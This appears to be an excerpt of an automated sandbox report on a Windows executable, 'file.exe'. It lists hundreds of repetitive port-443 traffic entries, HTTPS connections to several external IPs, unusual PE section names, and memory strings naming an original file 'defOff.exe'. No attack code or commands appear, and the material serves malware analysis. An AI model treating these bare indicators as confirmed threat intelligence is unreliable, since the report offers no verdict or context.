Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49844 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F6E748	0_2_05F6E748
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F6E712	0_2_05F6E712
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F7F66B	0_2_05F7F66B

Source: file.exe, 00000000.00000003.1948883102.0000000005893000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1973192974.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1954062715.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2084259546.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1953381710.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1956714249.0000000005B1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1949070000.0000000005895000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1957065714.0000000005B1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1955794053.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1957659490.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1964001965.0000000005B42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1974207300.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1956175241.0000000005B09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1950090111.0000000005AE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1953709121.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1963402286.0000000005C68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1953518930.0000000005A3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1950528700.0000000005A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1961189307.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1956867380.0000000005A37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1952909038.0000000005A40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1948073619.0000000005765000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1973520418.0000000005A33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1973982421.0000000005B70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1974554476.0000000005A32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1971485550.0000000005A41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1960138477.0000000005A37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1974948630.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1952641587.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1958983340.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992290368.00000000056C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1950616080.0000000005ADA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1954792953.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992331681.0000000005605000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
